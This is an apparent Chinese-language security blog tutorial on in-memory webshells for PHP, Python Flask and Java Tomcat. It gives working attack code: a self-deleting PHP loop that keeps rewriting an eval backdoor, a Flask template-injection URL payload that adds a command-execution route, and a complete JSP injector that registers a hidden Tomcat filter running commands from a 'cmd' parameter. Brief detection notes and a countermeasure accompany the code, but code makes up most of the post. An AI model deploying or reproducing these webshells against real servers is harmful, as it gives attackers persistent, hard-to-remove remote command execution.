初探内存马
通过此文理解内存马,掌握内存马的基本原理以及一些基本分类,和一些基础知识,有助于后面我们的各种技术研究。
内存webshell相比于常规webshell更容易躲避传统安全监测设备的检测,通常被用来做持久化,规避检测,持续驻留目标服务器,不容易清除。无文件攻击、内存Webshell、进程注入等基于内存的攻击手段也受到了大多数攻击者青睐。
1 2 3 4
| 大概原理: 是先由客户端发起一个web请求,中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作,内存马利用请求过程在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode达到持久化的控制服务器。
|

以上是内存马的相关分类
下面基本介绍一下各种内存马。
各种内存马
php内存马
php内存马也就是php不死马是将不死马启动后删除本身,在内存中执行死循环,使管理员无法删除木马文件。本次演示是将php不死马放到web目录下访问后及执行会在本地循环生成php一句话木马。
检测思路
1.检查所有php进程处理请求的持续时间
2.检测执行文件是否在文件系统真实存在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = ‘<?php @eval($_POST["zzz"]) ?>’;
file_put_contents("22.php", $content);
usleep(10000);
}
?>
|
如何处置
对于不死马,直接删除脚本是没有用的,因为php执行的时候已经把脚本读进去解释成opcode运行了。
其实也简单,可以写一个条件竞争的文件来克制不死马,其中必须将usleep改为小雨php不死马的参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = ‘2222’;
file_put_contents("22.php", $content);
usleep(123);
}
?>
|
python内存马
Python内存马利用flask框架中ssti注入来实现,flask框架中在web应用模板渲染的过程中用到render_template_string()进行渲染但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现python内存马的注入。
1 2 3 4 5 6 7 8 9 10 11
| from flask import Flask,url_for,redirect,render_template,render_template_string,request app = Flask(__name__)
@app.route("/index/") def test(): content = request.args.get("content") return render_template_string(content)
if __name__ == "__main__": app.run(host='0.0.0.0',port=5000)
|
1
| http://127.0.0.1:5000/index?=content%7B%7Ba.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D(%22app.add_url_rule(%27/shell1%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,%7B%27_request_ctx_stack%27:url_for.__globals__%5B%27_request_ctx_stack%27%5D,%27app%27:url_for.__globals__%5B%27current_app%27%5D%7D)%7D%7D
|
这就是payload,解一下url编码
1
| http://127.0.0.1:5000/index?=content{{a.__init__.__globals__['__builtins__']['eval']("app.add_url_rule('/shell1', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
|
手续看是写入了一个shell1的路由,一旦访问这个路由就会执行whoami命令。
1 2 3 4 5 6 7 8 9
| __class__:返回调用的参数类型
__bases__:返回基类列表
__builtins__:内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等
__globals__:以字典的形式返回函数所在的全局命名空间所定义的全局变量,这里的函数可以是类class的构造函数如__init__,也可以是flask的函数如url_for等。
add_url_rule注册了一个/shell的路由,__init__相当于构造函数,定义自己的属性,通过__init__.__globals__得到他们的命名空间从而得到builtins就可以执行内置函数如eval, exec, open等。
|
检测思路
1.查看所有内建模块中是否包含eval、exec等可以执行代码的函数如:class ‘warnings.catch_warnings’、class ‘site.Quitter’等。
2.检测self.add_url_rule()中特殊名字的路由如shell等。
java内存马
在内存马家族中,最多也最常见的就是java类别的,后续我会补充各种类型的内存马,通过代码,流量,逐步进行分析。
fillter型内存马
Filter:FIlter为过滤器可以对用户的一些请求进行拦截修改等操作。当web.xml中注册了一个Filter来对某个 Servlet 程序进行拦截处理时该 Filter 可以对Servlet 容器发送给 Servlet 程序的请求和 Servlet 程序回送给 Servlet 容器的响应进行拦截,可以决定是否将请求继续传递给 Servlet 程序,以及对请求和相应信息进行修改。filter型内存马是将命令执行的文件通过动态注册成一个恶意的filter,这个filter没有落地文件并可以让客户端发来的请求通过它来做命令执行。
1 2 3 4 5 6 7 8 9 10 11 12 13
| filter检测思路:
带有特殊含义的filter的名字比如shell等。
Filter的优先级,filter内存马需要将filter调至最高
查看web.xml中有没有filter配置
检测特殊的classloader
检测classloader路径下没有class文件
检测Filter中的doFilter方法是否有恶意代码
|
filter内存马实战:
这里我们将公开的filter类型的内存马文件直接上传到tomcat网站下,访问内存马后就植入成功了,植入成功后在删掉相对的jsp文件也不会影响内存马的运行,但是重启tomcat服务器后内存马即失效。注入成功后在路径后加入?cmd=后跟命令即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import = "org.apache.catalina.Context" %> <%@ page import = "org.apache.catalina.core.ApplicationContext" %> <%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import = "org.apache.catalina.core.StandardContext" %> <!-- tomcat 8/9 --> <!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap" page import = "org.apache.tomcat.util.descriptor.web.FilterDef" --> <!-- tomcat 7 --> <%@ page import = "org.apache.catalina.deploy.FilterMap" %> <%@ page import = "org.apache.catalina.deploy.FilterDef" %> <%@ page import = "javax.servlet.*" %> <%@ page import = "java.io.IOException" %> <%@ page import = "java.lang.reflect.Constructor" %> <%@ page import = "java.lang.reflect.Field" %> <%@ page import = "java.util.Map" %> <% class filterDemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter("cmd"); if (cmd!= null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } } %> <%
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); String name = "filterDemo";
if (filterConfigs.get(name) == null){
filterDemo filter = new filterDemo(); FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/zzz"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name,filterConfig); out.write("Inject success!"); } else{ out.write("Injected!"); } %>
|